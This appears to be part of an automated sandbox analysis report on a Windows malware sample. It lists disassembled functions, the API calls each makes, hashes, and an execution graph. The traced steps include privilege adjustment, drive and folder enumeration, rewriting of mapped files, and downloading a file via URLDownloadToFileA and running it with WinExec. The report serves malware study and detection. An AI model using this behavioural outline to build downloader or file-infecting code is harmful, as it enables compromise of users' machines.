                                                            • Opcode Fuzzy Hash: 04efdccb2cb166fea60307a6dda68c966b068ea2f006f8adcef2331092c4b351
                                                            • Instruction Fuzzy Hash: 97F03074E80304FBE710DBA49C0AF9E7778AB48B05F504544F605A61C0CF709A1A8755
                                                            Function 029D47BF Relevance: 7.6, APIs: 5, Instructions: 77stringCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • GetSystemDirectoryA.KERNEL32(00000000,00000080), ref: 029D47EE
                                                            • lstrlen.KERNEL32(00000000), ref: 029D47FB
                                                            • lstrcat.KERNEL32(00000000,02A555C4), ref: 029D481A
                                                            • lstrcat.KERNEL32(00000000,02A53BE0), ref: 029D482E
                                                            • lstrcat.KERNEL32(00000000,02A53FE0), ref: 029D4841
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: lstrcat$DirectorySystemlstrlen
                                                            • String ID:
                                                            • API String ID: 3692445580-0
                                                            • Opcode ID: 827c2c595541de3e393668ada38a16857f75d220d9c6b23ab408af46647b092c
                                                            • Instruction ID: 9f4e001f7e1967cf6b21ca59d6ce271d115ce69fb42968851b7935a470469fd7
                                                            • Opcode Fuzzy Hash: 827c2c595541de3e393668ada38a16857f75d220d9c6b23ab408af46647b092c
                                                            • Instruction Fuzzy Hash: 182130B5E80324ABDB20DBA4DC48FBA7779BB88705F044998F709A7180CB749A568F54
                                                            Function 029D48D6 Relevance: 7.6, APIs: 5, Instructions: 67sleepstringthreadCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • Sleep.KERNEL32(00001000), ref: 029D492A
                                                            • Sleep.KERNEL32(00000080), ref: 029D4947
                                                            • lstrlen.KERNEL32(00000000), ref: 029D4961
                                                            • Sleep.KERNEL32(0002D000), ref: 029D498B
                                                            • RtlExitUserThread.NTDLL(00000000), ref: 029D49B8
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: Sleep$ExitThreadUserlstrlen
                                                            • String ID:
                                                            • API String ID: 3026710222-0
                                                            • Opcode ID: 38e0a2452bd290e2d6e6965432183a16141b72b6a1298d8ab5bba842304799ad
                                                            • Instruction ID: 8a20c43c74e254ca28a8b0c5cf5eda7da0226e47a9b602bb34896c4a49c91934
                                                            • Opcode Fuzzy Hash: 38e0a2452bd290e2d6e6965432183a16141b72b6a1298d8ab5bba842304799ad
                                                            • Instruction Fuzzy Hash: 65219A70E84318ABDB10CF95DC09BAEB7B8FB48B55F004618EA16A63C0CB789411CB65
                                                            Function 029D569F Relevance: 7.5, APIs: 5, Instructions: 37sleepfilestringCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • lstrcpy.KERNEL32(00000000,?), ref: 029D56CD
                                                            • GetFileAttributesA.KERNEL32(00000000), ref: 029D56E3
                                                            • DeleteFileA.KERNEL32(00000000), ref: 029D56F7
                                                            • Sleep.KERNEL32(00002800), ref: 029D5702
                                                            • RtlExitUserThread.NTDLL(00000000), ref: 029D570C
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: File$AttributesDeleteExitSleepThreadUserlstrcpy
                                                            • String ID:
                                                            • API String ID: 1172011736-0
                                                            • Opcode ID: 532ede621e2dc87aad66d84f1bd4b215e873640c7e83a46b765d519f250aefad
                                                            • Instruction ID: fbd8937840ca60e1a91dbe9d405249f161436a66c7f97e4693d783d2d5b63dc5
                                                            • Opcode Fuzzy Hash: 532ede621e2dc87aad66d84f1bd4b215e873640c7e83a46b765d519f250aefad
                                                            • Instruction Fuzzy Hash: 39F0C236D40314ABEB208A78DC4CBEBB779BB18311F504AA9EA16D21C0CF719A59CB51
                                                            Function 029DC1EF Relevance: 6.5, APIs: 5, Instructions: 222stringmemoryCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • lstrlen.KERNEL32(029D41FE), ref: 029DC2A2
                                                              • Part of subcall function 029D42C7: tolower.MSVCRT ref: 029D431E
                                                              • Part of subcall function 029D42C7: tolower.MSVCRT ref: 029D4330
                                                            • GlobalAlloc.KERNEL32(00000040,00010000), ref: 029DC2E7
                                                            • lstrlen.KERNEL32(02A53F70,?), ref: 029DC32F
                                                            • lstrlen.KERNEL32(?), ref: 029DC44F
                                                              • Part of subcall function 029D4521: CreateFileA.KERNEL32(02A54034,40000000,00000000,00000000,00000003,00000000,00000000), ref: 029D454A
                                                            • GlobalFree.KERNEL32(00000000), ref: 029DC591
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: lstrlen$Globaltolower$AllocCreateFileFree
                                                            • String ID:
                                                            • API String ID: 2905081297-0
                                                            • Opcode ID: f3fee0d72121ff4babf0e927fcb0abb50c9f713ba65355d5f09e260a5ba46b93
                                                            • Instruction ID: 06116d89c30fbcb9b93ac6f509fde9f2c1c2ed077da641e46d26f396c2941c89
                                                            • Opcode Fuzzy Hash: f3fee0d72121ff4babf0e927fcb0abb50c9f713ba65355d5f09e260a5ba46b93
                                                            • Instruction Fuzzy Hash: 7A9183B1D002199BDB25CF94DD94BAEB7B9BB48304F0085DDE50DA7280DB35AB45DF50
                                                            Function 029D1D7F Relevance: 6.1, APIs: 4, Instructions: 96registrystringCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • wsprintfA.USER32 ref: 029D1DB5
                                                            • lstrcpy.KERNEL32(?,00000000), ref: 029D1E49
                                                            • lstrcpy.KERNEL32(?,00000000), ref: 029D1E6B
                                                            • RegSetValueExA.ADVAPI32(?,?,00000000,00000004,?,00000004), ref: 029D1E95
                                                            • lstrlen.KERNEL32(?), ref: 029D1EA4
                                                            • RegSetValueExA.ADVAPI32(?,?,00000000,00000001,?,00000000), ref: 029D1EC4
                                                            • RegCloseKey.ADVAPI32(?), ref: 029D1ED6
                                                            • GlobalFree.KERNEL32(00000000), ref: 029D1F4B
                                                            • wsprintfA.USER32 ref: 029D1F9F
                                                            • RegQueryValueExA.ADVAPI32(?,?,00000000,00000000,?,00000004), ref: 029D1FDB
                                                            • RegCloseKey.ADVAPI32(?), ref: 029D2284
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3818884775.00000000029D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 029D0000, based on PE: true
                                                            • Associated: 00000000.00000002.3818884775.0000000002A45000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A48000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A4B000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A50000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            • Associated: 00000000.00000002.3818884775.0000000002A59000.00000040.00001000.00020000.00000000.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_29d0000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: Value$Closelstrcpywsprintf$FreeGlobalQuerylstrlen
                                                            • String ID:
                                                            • API String ID: 3359840872-0
                                                            • Opcode ID: f9809a5b221abaf6ec077a7e0db5281f3f14abcdb0f19b2ff00e2baed0ac112b
                                                            • Instruction ID: 38da3f539aba8a8753e2ed91cca745683cf80341b68b20bfee07e2f453f06774
                                                            • Opcode Fuzzy Hash: f9809a5b221abaf6ec077a7e0db5281f3f14abcdb0f19b2ff00e2baed0ac112b
                                                            • Instruction Fuzzy Hash: 1041E079D04728DFDB248F50CC84AEAB775BB88342F4486C9E50FAA184E7705AC4DF51
                                                            Function 0048F0A6 Relevance: 6.0, APIs: 4, Instructions: 36COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            • RtlEnterCriticalSection.NTDLL(00BB4170), ref: 0048F0E1
                                                            • RtlInitializeCriticalSection.NTDLL(00000000), ref: 0048F0F3
                                                            • RtlLeaveCriticalSection.NTDLL(00BB4170), ref: 0048F0FC
                                                            • RtlEnterCriticalSection.NTDLL(00000000), ref: 0048F10E
                                                              • Part of subcall function 0048F013: GetVersion.KERNEL32(?,0048F0B6,?,0048E477,00000010,004252D0,00B72348,?,?,?,0048DE5E,0048DEC1,0048D73D,0048DE64,0048B4B6,00B72348), ref: 0048F026
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.3735613654.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                            • Associated: 00000000.00000002.3733928280.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.00000000008D0000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000AEB000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000AF9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B07000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B80000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B92000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000B9F000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BB6000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BC5000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3735613654.0000000000BD2000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3779821674.0000000000BD4000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3779821674.0000000000BD8000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3782061445.0000000000BD9000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3782061445.0000000000BDC000.00000040.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.3784320260.0000000000BE9000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_400000_a4#Uff09.jbxd
                                                            Yara matches
                                                            Similarity
                                                            • API ID: CriticalSection$Enter$InitializeLeaveVersion
                                                            • String ID:
                                                            • API String ID: 1193629340-0
                                                            • Opcode ID: 425a35f80579b7b48dcfff9c40e96f13bd9ec78952633a229c94ddd1b8d82547
                                                            • Instruction ID: dc93983b4223b7fd4e16375654f774a353cc505c9f4014f1e617d1bb8886a0be
                                                            • Opcode Fuzzy Hash: 425a35f80579b7b48dcfff9c40e96f13bd9ec78952633a229c94ddd1b8d82547
                                                            • Instruction Fuzzy Hash: 7EF0AF7140121ADFCB10EF98FC84857B7ACFB64316B40063BE60593023DB74E48ACB68

                                                            Execution Graph

                                                            Execution Coverage:31.3%
                                                            Dynamic/Decrypted Code Coverage:10.4%
                                                            Signature Coverage:4.4%
                                                            Total number of Nodes:297
                                                            Total number of Limit Nodes:12
                                                            execution_graph 1018 db6159 1019 db615f VirtualFree 1018->1019 1026 db60c7 1019->1026 1020 db6198 VirtualFree 1028 db61b2 1020->1028 1021 db60d5 VirtualAlloc 1021->1026 1022 db6389 VirtualProtect 1025 db63b7 1022->1025 1023 db63fc VirtualProtect 1024 db6400 1023->1024 1025->1023 1027 db63e7 VirtualProtect 1025->1027 1026->1019 1026->1020 1026->1021 1027->1023 1027->1025 1028->1022 1029 db62fb 1028->1029 1030 db14e1 1031 db14fd GetModuleHandleA 1030->1031 1032 db1541 1030->1032 1033 db151a VirtualQuery 1031->1033 1034 db1512 1031->1034 1035 db1549 1032->1035 1036 db1573 1032->1036 1033->1034 1034->1032 1037 db1566 1035->1037 1058 db1af9 1035->1058 1041 db1638 GetTempPathA GetSystemDirectoryA GetModuleFileNameA 1036->1041 1039 db1579 ExitProcess 1042 db167a 1041->1042 1043 db167f 1041->1043 1076 db139f GetVersionExA 1042->1076 1064 db1718 GetSystemTimeAsFileTime 1043->1064 1046 db1686 1047 db16ca 1046->1047 1053 db16a0 CreateThread 1046->1053 1048 db16d0 1047->1048 1049 db16d7 1047->1049 1097 db1581 1048->1097 1051 db170f 1049->1051 1052 db16dd lstrcpy 1049->1052 1051->1039 1052->1039 1069 db2c48 memset 1053->1069 1313 db1099 1053->1313 1057 db1718 3 API calls 1057->1047 1059 db1b09 1058->1059 1060 db1b11 1058->1060 1061 db1638 188 API calls 1059->1061 1062 db1b16 CreateThread 1060->1062 1063 db1b0f 1060->1063 1061->1063 1062->1063 1332 db1638 189 API calls 1062->1332 1063->1037 1063->1063 1065 db1735 SHSetValueA 1064->1065 1066 db1754 1064->1066 1068 db1786 __aulldiv 1065->1068 1067 db175a SHGetValueA 1066->1067 1066->1068 1067->1068 1068->1046 1103 db1973 PathFileExistsA 1069->1103 1072 db2cb2 1074 db2cbb VirtualFree 1072->1074 1075 db16ba WaitForSingleObject 1072->1075 1073 db2c8f CreateThread WaitForMultipleObjects 1073->1072 1125 db2b8c memset GetLogicalDriveStringsA 1073->1125 1074->1075 1075->1057 1077 db14da 1076->1077 1078 db13cf LookupPrivilegeValueA 1076->1078 1077->1043 1079 db13ef 1078->1079 1080 db13e7 1078->1080 1079->1077 1298 db120e GetModuleHandleA GetProcAddress 1079->1298 1293 db119f GetCurrentProcess OpenProcessToken 1080->1293 1086 db1448 GetCurrentProcessId 1086->1077 1087 db1457 1086->1087 1087->1077 1088 db1319 3 API calls 1087->1088 1089 db147f 1088->1089 1090 db1319 3 API calls 1089->1090 1091 db148e 1090->1091 1091->1077 1092 db1319 3 API calls 1091->1092 1093 db14b4 1092->1093 1094 db1319 3 API calls 1093->1094 1095 db14c3 1094->1095 1096 db1319 3 API calls 1095->1096 1096->1077 1312 db185b GetSystemTimeAsFileTime srand rand srand rand 1097->1312 1099 db1592 wsprintfA wsprintfA lstrlen CreateFileA 1100 db15fb WriteFile CloseHandle 1099->1100 1101 db1633 1099->1101 1100->1101 1102 db161d ShellExecuteA 1100->1102 1101->1051 1102->1101 1104 db19a0 1103->1104 1105 db1ac7 1103->1105 1106 db19af CreateFileA 1104->1106 1105->1072 1105->1073 1107 db1a28 GetFileSize 1106->1107 1108 db19c4 Sleep 1106->1108 1110 db1a38 1107->1110 1121 db1a80 1107->1121 1108->1106 1109 db19d5 1108->1109 1124 db185b GetSystemTimeAsFileTime srand rand srand rand 1109->1124 1112 db1a3d VirtualAlloc 1110->1112 1110->1121 1116 db1a53 1112->1116 1112->1121 1113 db1a8d FindCloseChangeNotification 1114 db1a96 1113->1114 1117 db1aad 1114->1117 1118 db1a9c DeleteFileA 1114->1118 1115 db19da wsprintfA CopyFileA 1115->1107 1119 db1a0d CreateFileA 1115->1119 1120 db1a59 ReadFile 1116->1120 1116->1121 1117->1105 1123 db1ab8 VirtualFree 1117->1123 1118->1117 1119->1107 1119->1118 1120->1116 1120->1121 1121->1113 1121->1114 1123->1105 1124->1115 1126 db2c09 WaitForMultipleObjects 1125->1126 1127 db2bc8 1125->1127 1128 db2c2a CreateThread 1126->1128 1129 db2c3c 1126->1129 1130 db2bfa lstrlen 1127->1130 1131 db2bd2 GetDriveTypeA 1127->1131 1132 db2be3 CreateThread 1127->1132 1128->1129 1136 db2845 1128->1136 1130->1126 1130->1127 1131->1127 1131->1130 1132->1130 1133 db2b7d 1132->1133 1146 db29e2 memset wsprintfA 1133->1146 1283 db274a memset memset SHGetSpecialFolderPathA wsprintfA 1136->1283 1138 db2878 DeleteFileA 1139 db289a 1138->1139 1140 db288c VirtualFree 1138->1140 1142 db28ab 1139->1142 1143 db28a4 CloseHandle 1139->1143 1140->1139 1141 db2853 1141->1138 1144 db2692 8 API calls 1141->1144 1145 db239d 186 API calls 1141->1145 1143->1142 1144->1141 1145->1141 1147 db2a3a memset lstrlen lstrcpyn strrchr 1146->1147 1148 db2abc memset memset FindFirstFileA 1146->1148 1147->1148 1149 db2a88 1147->1149 1160 db28b8 memset wsprintfA 1148->1160 1149->1148 1151 db2a9a lstrcmpiA 1149->1151 1153 db2aad lstrlen 1151->1153 1154 db2b74 1151->1154 1153->1148 1153->1151 1155 db2b61 FindNextFileA 1156 db2b6d FindClose 1155->1156 1157 db2b23 1155->1157 1156->1154 1158 db2b35 lstrcmpiA 1157->1158 1159 db28b8 174 API calls 1157->1159 1158->1156 1158->1157 1159->1155 1161 db2951 memset 1160->1161 1162 db2905 1160->1162 1161->1155 1162->1161 1163 db291b memset wsprintfA 1162->1163 1164 db2956 strrchr 1162->1164 1165 db29e2 180 API calls 1163->1165 1164->1161 1166 db2967 lstrcmpiA 1164->1166 1165->1161 1167 db297a 1166->1167 1168 db2988 lstrcmpiA 1166->1168 1178 db1e6e 1167->1178 1168->1161 1169 db2994 1168->1169 1171 db29ad strstr 1169->1171 1172 db29a5 lstrcpy 1169->1172 1173 db29cb 1171->1173 1174 db29d3 1171->1174 1172->1171 1221 db239d strstr 1173->1221 1243 db2692 1174->1243 1179 db1e7d 1178->1179 1252 db1df6 strrchr 1179->1252 1182 db2332 1185 db233d UnmapViewOfFile 1182->1185 1186 db2346 1182->1186 1183 db1eb0 SetFileAttributesA CreateFileA 1183->1182 1184 db1edf 1183->1184 1257 db1915 1184->1257 1185->1186 1189 db234b FindCloseChangeNotification 1186->1189 1190 db2350 1186->1190 1189->1190 1191 db2391 1190->1191 1192 db2356 CloseHandle 1190->1192 1191->1161 1192->1191 1193 db1f2e 1193->1182 1263 db1c81 1193->1263 1197 db1f92 1198 db1c81 2 API calls 1197->1198 1199 db1f9f 1198->1199 1199->1182 1200 db1af9 169 API calls 1199->1200 1202 db2024 1199->1202 1204 db1fc0 1200->1204 1201 db1af9 169 API calls 1203 db207a 1201->1203 1202->1182 1202->1201 1205 db1af9 169 API calls 1203->1205 1204->1182 1204->1202 1206 db1af9 169 API calls 1204->1206 1209 db2090 1205->1209 1207 db1ffe 1206->1207 1208 db2013 FlushViewOfFile 1207->1208 1208->1202 1210 db20bb memset memset 1209->1210 1211 db20f5 1210->1211 1212 db1c81 2 API calls 1211->1212 1213 db21de 1212->1213 1214 db2226 memcpy UnmapViewOfFile CloseHandle 1213->1214 1268 db1b8a 1214->1268 1216 db226e 1276 db185b GetSystemTimeAsFileTime srand rand srand rand 1216->1276 1218 db22ab SetFilePointer SetEndOfFile SetFilePointer WriteFile WriteFile 1219 db1915 3 API calls 1218->1219 1220 db231f CloseHandle 1219->1220 1220->1182 1222 db2451 CreateFileA GetFileSize 1221->1222 1228 db23d8 1221->1228 1223 db2480 1222->1223 1224 db2675 CloseHandle 1222->1224 1223->1224 1226 db2499 1223->1226 1225 db267c RemoveDirectoryA 1224->1225 1227 db2687 1225->1227 1229 db1915 3 API calls 1226->1229 1227->1161 1228->1222 1228->1227 1230 db24a4 9 API calls 1229->1230 1278 db189d memset CreateProcessA 1230->1278 1233 db255c Sleep memset wsprintfA 1234 db29e2 163 API calls 1233->1234 1235 db2597 memset wsprintfA Sleep 1234->1235 1236 db189d 6 API calls 1235->1236 1237 db25e4 Sleep CreateFileA 1236->1237 1238 db1915 3 API calls 1237->1238 1239 db2610 CloseHandle 1238->1239 1239->1225 1240 db261e 1239->1240 1240->1225 1241 db2641 SetFilePointer WriteFile 1240->1241 1241->1225 1242 db2667 SetEndOfFile 1241->1242 1242->1225 1244 db26b2 WaitForSingleObject 1243->1244 1245 db26a2 CreateEventA 1243->1245 1246 db26c1 lstrlen ??2@YAPAXI 1244->1246 1249 db2708 1244->1249 1245->1244 1247 db26da lstrcpy 1246->1247 1248 db2736 SetEvent 1246->1248 1250 db26f1 1247->1250 1248->1161 1249->1248 1251 db2718 lstrcpy ??3@YAXPAX 1249->1251 1250->1248 1251->1250 1253 db1e13 lstrcpy strrchr 1252->1253 1254 db1e62 1252->1254 1253->1254 1255 db1e40 lstrcmpiA 1253->1255 1254->1182 1254->1183 1255->1254 1256 db1e52 lstrlen 1255->1256 1256->1254 1256->1255 1258 db1928 1257->1258 1259 db1924 SetFilePointer CreateFileMappingA MapViewOfFile 1257->1259 1260 db194f 1258->1260 1261 db192e memset GetFileTime 1258->1261 1259->1182 1259->1193 1260->1259 1262 db1954 SetFileTime 1260->1262 1261->1259 1262->1259 1264 db1c9c 1263->1264 1265 db1c94 1263->1265 1264->1265 1266 db1cae memset memset 1264->1266 1265->1182 1267 db185b GetSystemTimeAsFileTime srand rand srand rand 1265->1267 1266->1265 1267->1197 1273 db1b93 1268->1273 1270 db1bca srand 1271 db1bd8 rand 1270->1271 1272 db1c08 1271->1272 1272->1271 1274 db1c29 memset memcpy lstrcat 1272->1274 1277 db185b GetSystemTimeAsFileTime srand rand srand rand 1273->1277 1274->1216 1276->1218 1277->1270 1279 db190c 1278->1279 1280 db18e0 CloseHandle WaitForSingleObject 1278->1280 1279->1225 1279->1233 1281 db18fb GetExitCodeProcess 1280->1281 1282 db1907 CloseHandle 1280->1282 1281->1282 1282->1279 1292 db185b GetSystemTimeAsFileTime srand rand srand rand 1283->1292 1285 db27b5 wsprintfA CopyFileA 1286 db27de wsprintfA 1285->1286 1287 db2840 1285->1287 1288 db1973 17 API calls 1286->1288 1287->1141 1289 db280f 1288->1289 1290 db2813 DeleteFileA 1289->1290 1291 db2820 CreateFileA 1289->1291 1290->1291 1291->1287 1292->1285 1294 db1200 CloseHandle 1293->1294 1295 db11c6 AdjustTokenPrivileges 1293->1295 1294->1079 1296 db11f7 CloseHandle 1295->1296 1297 db11f6 1295->1297 1296->1294 1297->1296 1299 db123f GetCurrentProcessId OpenProcess 1298->1299 1300 db1310 1298->1300 1299->1300 1305 db1262 1299->1305 1300->1077 1307 db1319 1300->1307 1301 db12b0 VirtualAlloc 1302 db12b8 1301->1302 1301->1305 1303 db12f1 CloseHandle 1302->1303 1303->1300 1304 db1302 VirtualFree 1303->1304 1304->1300 1305->1301 1305->1302 1305->1303 1306 db1296 VirtualFree 1305->1306 1306->1301 1308 db134a 1307->1308 1309 db132a GetModuleHandleA GetProcAddress 1307->1309 1310 db1351 memset 1308->1310 1311 db1363 1308->1311 1309->1308 1309->1311 1310->1311 1311->1077 1311->1086 1312->1099 1314 db1196 1313->1314 1315 db10ba 1313->1315 1315->1314 1331 db185b GetSystemTimeAsFileTime srand rand srand rand 1315->1331 1317 db1118 wsprintfA wsprintfA URLDownloadToFileA 1318 db1168 lstrlen Sleep 1317->1318 1319 db10dc 1317->1319 1318->1315 1322 db1000 CreateFileA 1319->1322 1323 db1092 WinExec lstrlen 1322->1323 1324 db1025 GetFileSize CreateFileMappingA MapViewOfFile 1322->1324 1323->1314 1323->1315 1325 db107b 1324->1325 1326 db1057 1324->1326 1328 db108d CloseHandle 1325->1328 1329 db1087 CloseHandle 1325->1329 1327 db1074 UnmapViewOfFile 1326->1327 1330 db1061 1326->1330 1327->1325 1328->1323 1329->1328 1330->1327 1331->1317 1347 db2361 1348 db236b UnmapViewOfFile 1347->1348 1349 db2374 1347->1349 1348->1349 1350 db2379 CloseHandle 1349->1350 1351 db2382 1349->1351 1350->1351 1352 db2388 CloseHandle 1351->1352 1353 db2391 1351->1353 1352->1353 1333 db6076 1334 db607b 1333->1334 1338 db60c7 1333->1338 1336 db60b0 VirtualAlloc 1334->1336 1334->1338 1345 db61b2 1334->1345 1335 db615f VirtualFree 1335->1338 1336->1338 1337 db6198 VirtualFree 1337->1345 1338->1335 1338->1337 1339 db60d5 VirtualAlloc 1338->1339 1339->1338 1340 db6389 VirtualProtect 1343 db63b7 1340->1343 1341 db63fc VirtualProtect 1342 db6400 1341->1342 1343->1341 1344 db63e7 VirtualProtect 1343->1344 1344->1341 1344->1343 1345->1340 1346 db62fb 1345->1346 1354 db6014 1355 db605f 1354->1355 1356 db6035 GetModuleHandleA 1354->1356 1357 db604d GetProcAddress 1356->1357 1358 db6058 1357->1358 1358->1355 1358->1357 1358->1358

                                                            Callgraph

                                                            • Executed
                                                            • Not Executed
                                                            • Opacity -> Relevance
                                                            • Disassembly available
                                                            callgraph 0 Function_00DB185B 1 Function_00DB6159 6 Function_00DB66C8 1->6 2 Function_00DB235D 3 Function_00DB17D0 4 Function_00DB274A 4->0 11 Function_00DB1973 4->11 5 Function_00DB2C48 5->11 40 Function_00DB2B8C 5->40 41 Function_00DB6B02 6->41 46 Function_00DB6D00 6->46 47 Function_00DB6A84 6->47 7 Function_00DB2845 7->4 29 Function_00DB239D 7->29 31 Function_00DB2692 7->31 8 Function_00DB1AF9 48 Function_00DB1638 8->48 9 Function_00DB6CF8 10 Function_00DB2B7D 19 Function_00DB29E2 10->19 11->0 12 Function_00DB6CF2 12->9 13 Function_00DB2CF0 14 Function_00DB6076 14->6 15 Function_00DB1DF6 16 Function_00DB1C68 17 Function_00DB1E6E 17->0 17->8 17->15 17->16 22 Function_00DB2D60 17->22 23 Function_00DB2D9B 17->23 33 Function_00DB1915 17->33 35 Function_00DB1D8A 17->35 36 Function_00DB1B8A 17->36 43 Function_00DB1C81 17->43 18 Function_00DB6B63 50 Function_00DB69B0 18->50 51 Function_00DB6834 18->51 54 Function_00DB67A4 18->54 49 Function_00DB28B8 19->49 20 Function_00DB14E1 20->8 20->48 21 Function_00DB2361 21->23 24 Function_00DB1099 24->0 45 Function_00DB1000 24->45 25 Function_00DB1319 26 Function_00DB1718 26->13 27 Function_00DB119F 28 Function_00DB139F 28->25 28->27 39 Function_00DB120E 28->39 29->19 30 Function_00DB189D 29->30 29->33 32 Function_00DB6012 34 Function_00DB6014 36->0 37 Function_00DB600A 38 Function_00DB680F 40->7 40->10 41->18 42 Function_00DB6001 42->37 44 Function_00DB1581 44->0 45->3 46->12 46->18 46->50 47->12 47->38 48->3 48->5 48->24 48->26 48->28 48->44 49->17 49->19 49->29 49->31 52 Function_00DB6734 52->41 52->46 52->47 53 Function_00DB65A6

                                                            Executed Functions

                                                            Function 00DB29E2 Relevance: 31.6, APIs: 15, Strings: 3, Instructions: 128stringfileCOMMON
                                                            Download Yara Rule

                                                            Control-flow Graph

                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000002.00000002.1371762703.0000000000DB1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00DB0000, based on PE: true
                                                            • Associated: 00000002.00000002.1371681306.0000000000DB0000.00000002.00000001.01000000.00000005.sdmpDownload File
